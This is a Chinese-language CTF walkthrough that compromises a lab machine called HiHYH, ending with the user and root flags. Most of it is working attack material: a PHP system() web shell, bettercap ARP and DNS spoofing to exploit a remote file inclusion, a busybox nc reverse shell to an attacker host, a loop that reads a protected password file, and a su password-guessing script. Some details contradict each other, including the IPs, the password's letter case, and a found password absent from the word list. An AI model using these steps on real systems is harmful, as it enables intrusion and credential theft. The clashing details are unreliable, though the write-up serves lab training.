

HiHYH靶机

端口扫描

```
└─(zsc@kali)-[~]
└─$ nmap -sT -p- -Pn -SV 192.168.1.7
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-07 18:54 CST
Nmap scan report for keys1.dsz (192.168.1.7)
Host is up (0.00033s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds
```

21端口ftp匿名访问

```
└─(zsc@kali)-[~]
└─$ ftp 192.168.1.7
Connected to 192.168.1.7.
220 (vsFTPD 3.0.3)
Name (192.168.1.7:zsc): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||30003|)
150 Here comes the directory listing.
drwxr-xr-x    2 0          0          4096 Apr 07 03:58 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||30008|)
150 Here comes the directory listing.
-rw-r--r--    1 0          0          140 Apr 05 09:33 motto.txt
-rw-----    1 1001      1001          75 Apr 07 03:58 pass.txt
226 Directory send OK.
ftp> lcd /tmp
Local directory now: /tmp
ftp> get motto.txt
local: motto.txt remote: motto.txt
229 Entering Extended Passive Mode (|||30003|)
150 Opening BINARY mode data connection for motto.txt (140 bytes).
```

```

100%
|*****|
*****|    140    396.28 KiB/s    00:00
ETA
226 Transfer complete.
140 bytes received in 00:00 (125.54 KiB/s)
ftp> get pass.txt
local: pass.txt remote: pass.txt
229 Entering Extended Passive Mode (|||30005|)
550 Failed to open file.
ftp> exit
221 Goodbye.

└─(zsc@kali)-[~]
└─$ cd /tmp
└─(zsc@kali)-[/tmp]
└─$ cat motto.txt
失去的终究会失去吧，想念的终究会相遇吧。
what you lose will eventually be lost, and what you miss will eventually meet.

```

ftp只能访问motto.txt, pass.txt没有权限访问，接着看80的http服务。

目录扫描

```

└─(zsc@kali)-[~]
└─$ gobuster dir -u http://192.168.1.7 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
conf,log,txt,bak,zip,php,html

=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====

[+] Url:                http://192.168.1.7
[+] Method:              GET
[+] Threads:             10
[+] wordlist:             /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
[+] Negative Status codes: 404
[+] User Agent:          gobuster/3.8
[+] Extensions:         conf,log,txt,bak,zip,php,html
[+] Timeout:             10s

=====
Starting gobuster in directory enumeration mode
=====

/index.php                (Status: 200) [Size: 334]
/server-status            (Status: 403) [Size: 276]
Progress: 1764464 / 1764464 (100.00%)

=====
Finished
=====

```

index.php源码

```
<?php
highlight_file(__FILE__); // 将当前文件的源代码以高亮语法形式输出到浏览器
@include "http://hyh.maze-sec.com/"; // 尝试包含（执行）一个远程 URL 中的内容
```

这有一个远程文件包含漏洞，因为我们没办法直接在靶机中的hosts文件中指向hyh.maze-sec.com的对应ip，所以尝试使用DNS欺骗

前置准备，搭建一个http服务用于包含远程URL中的文件内容

```
└─(zsc@kali)-[/tmp]
└─$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/index.html
#这里为了防止php在本地被执行，php源代码@include "http://hyh.maze-sec.com/";是一个远程文件包含，所以使用html较为稳妥。
└─(zsc@kali)-[/tmp]
└─$ ls
index.html  motto.txt
└─(zsc@kali)-[/tmp]
└─$ cat index.html
<?php system($_GET["cmd"]); ?>

└─(zsc@kali)-[/tmp]
└─$ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
#一定要使用80端口
```

kali shell进行DNS欺骗：

```
sudo apt install bettercap #没有安装的可以使用这个命令安装
sudo bettercap -iface eth0 #我的网卡是eth0
set arp.spoof.targets 192.168.1.7 #设置目标 IP
set arp.spoof.full duplex true #开启全双工模式
arp.spoof on #启动 ARP 欺骗
set dns.spoof.domains hyh.maze-sec.com #设置要劫持的域名
set dns.spoof.address 192.168.1.6 #设置将该域名指向你的 kali IP
dns.spoof on #启动DNS欺骗
```

另起一个kali shell

```
└─(zsc@kali)-[/tmp]
└─$ curl http://192.168.1.7/?cmd=id
<pre><code style="color: #000000"><span style="color: #0000BB">&lt;?php
highlight_file</span><span style="color: #007700">(</span><span style="color:
#0000BB">__FILE__</span><span style="color: #007700">);
@include</span><span style="color: #DD0000">"http://hyh.maze-sec.com/"</span>
<span style="color: #007700">;
</span></code></pre>

└─(zsc@kali)-[/tmp]
└─$ curl http://192.168.1.7/?cmd=id
<pre><code style="color: #000000"><span style="color: #0000BB">&lt;?php
```

```
highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);
@include</span><span style="color: #DD0000">"http://hyh.maze-sec.com/"</span>
<span style="color: #007700">;
</span></code></pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
#成功返回www-data, 如果没有返回多刷新几次
#反弹shell
└─(zsc@kali)-[/tmp]
└─$ curl http://192.168.1.7/?cmd=busybox nc 192.168.1.5 5566 -e bash
```

```
└─(zsc@kali)-[~]
└─$ nc -lnvp 5566
listening on [any] 5566 ...
connect to [192.168.1.6] from (UNKNOWN) [192.168.1.7] 42028
script -qc /bin/bash /dev/null
www-data@HiHYH:/var/www/html$ ^Z
zsh: suspended nc -lnvp 5566
└─(zsc@kali)-[~]
└─$ stty raw -echo;fg
[1] + continued nc -lnvp 5566
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@HiHYH:/tmp$ cat /home/hyh/user.txt
flag{user-3e813e575a6e4b5fb7cf3a479b1ac423}
```

横向移动 (www-data->hyh)

运行linpeas脚本发现hyh用户运行一个http服务, 该命令创建一个临时、受时间限制、仅本机可访问的 HTTP 文件服务器, 服务于 /var/tmp 目录, 30 秒后自动退出。

```
Processes, Crons, Timers, Services and Sockets
Running processes (cleaned)
Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root 1 0.0 0.4 98628 10032 ? Ss 06:52 0:01 /sbin/init
root 226 0.0 0.6 32576 13216 ? Ss 06:52 0:01 /lib/systemd/systemd-journald
root 254 0.0 0.2 22280 5780 ? Ss 06:52 0:00 /lib/systemd/systemd-udevd
systemd+ 260 0.0 0.2 89036 6060 ? Ssl 06:52 0:00 /lib/systemd/systemd-timesyncd
└─(Caps) 0x0000000020000000=cap_sys_time
root 328 0.0 0.1 6736 2740 ? Ss 06:52 0:00 /usr/sbin/cron -f
root 2196 0.0 0.1 7780 2296 ? S 07:28 0:00 _ /usr/sbin/CRON -f
hyh 2197 0.0 0.0 2472 512 ? Ss 07:28 0:00 _ /bin/sh -c /bin/bash -c '/usr/bin/timeout 30s /usr/bin/python3 -m http.server 8080
└─(Caps) 0x0000000020000000=cap_audit_write
hyh 2198 0.0 0.0 5548 612 ? S 07:28 0:00 _ /usr/bin/timeout 30s /usr/bin/python3 -m http.server 8080 --bind 127.0.0.1 --di
mp
hyh 2199 0.4 0.7 24288 16020 ? S 07:28 0:00 _ /usr/bin/python3 -m http.server 8080 --bind 127.0.0.1 --directory /var/tmp
message+ 329 0.0 0.1 7836 3712 ? Ss 06:52 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
└─(Caps) 0x0000000020000000=cap_audit_write
root 330 0.0 0.1 222784 4012 ? Ssl 06:52 0:00 /usr/sbin/rsyslogd -n -iNONE
root 331 0.0 0.3 22284 7000 ? Ss 06:52 0:00 /lib/systemd/systemd-logind
root 334 0.0 0.2 9588 5688 ? Ss 06:52 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.lea
r/lib/dhcp/dhclient6.enp0s3.leases enp0s3
root 398 0.0 0.1 8556 3692 ? Ss 06:52 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root 400 0.0 0.0 5840 1672 tty1 Ss+ 06:52 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root 425 0.0 1.0 108880 21456 ? Ssl 06:52 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-sig
root 448 0.0 1.7 253820 34792 ? Ss 06:52 0:00 /usr/sbin/apache2 -k start
www-data 453 1.1 1.0 254044 20816 ? S 06:52 0:23 _ /usr/sbin/apache2 -k start
www-data 455 1.0 1.0 254044 20556 ? S 06:52 0:23 _ /usr/sbin/apache2 -k start
www-data 505 1.1 1.0 254044 20788 ? S 06:54 0:23 _ /usr/sbin/apache2 -k start
www-data 1657 0.0 0.0 2472 516 ? S 07:18 0:00 | _ sh -c busybox nc 192.168.1.6 5566 -e bash
www-data 1658 0.0 0.1 3820 2876 ? S 07:18 0:00 | _ bash
```

```
ln -s /srv/ftp/pub /var/tmp/public_ftp #创建一个软连接把受保护的 FTP 目录映射到了 web
服务可以访问的路径下
# web 服务每分钟只启动一次, 且启动 30 秒后就会被强制杀死, 运行这个循环, 直到抓到文件内容
while true; do busybox wget -qO- http://127.0.0.1:8080/public_ftp/pass.txt
2>/dev/null && break; done
hyh:HYH4Rly9UF3VwJq+XK1F53JYaMM
11104567 password pattern
hint: ^ma....$
```

得到hyh的密码

```
www-data@HiHYH:/var/tmp$ su hyh
Password: HYH4Rly9UF3vwJq+xK1F53JYaMM
hyh@HiHYH:/var/tmp$ id
uid=1001(hyh) gid=1001(hyh) groups=1001(hyh)
```

横向移动 (hyh->11104567)

#^ma...\$ 匹配的字符串必须同时满足以下条件:

以 ma 开头;

紧接着 ma 后面有 任意 4 个字符 (可以是字母、数字、符号、空格等, 除换行符外);

这 4 个字符之后就是字符串的结尾 (即整个字符串总长度恰好为 6 个字符)

虽然只有4位不确定的字符, 如果生成字母+数字+符号等需要很大的字典才行, 我爆破了半个多小时放弃了。

这里我把motto.txt和hyh.maze-sec.com域名给AI, AI给了一些可能的密码。这里其实卡了很久, 算是侥幸过关。

```
import subprocess

words = ["zsec", "zell", "zehi", "zehy", "meet", "will", "even", "lost", "miss",
"meba", "mize", "ze10"]
for w in words:
    pwd = "ma" + w
    # 使用 su 或 ssh 尝试, 这里建议 su
    cmd = f"echo '{pwd}' | su 11104567 -c 'whoami' 2>/dev/null"
    res = subprocess.getoutput(cmd)
    if "11104567" in res:
        print(f"FOUND: {pwd}")
        break
```

```
11104567@HiHYH:/tmp$ python3 4.py
FOUND: mazel1
11104567@HiHYH:/tmp$ su 11104567
Password: mazel1
11104567@HiHYH:/var/tmp$ id
uid=1002(11104567) gid=1002(11104567) groups=1002(11104567),27(sudo)
```

提权

```
11104567@HiHYH:/tmp$ sudo -l
[sudo] password for 11104567:
Matching Defaults entries for 11104567 on HiHYH:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User 11104567 may run the following commands on HiHYH:
    (ALL : ALL) ALL
11104567@HiHYH:/tmp$ sudo su
root@HiHYH:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@HiHYH:/tmp# cat /root/root.txt
flag{root-a7144840e24342b1a075a4a31405452f}
```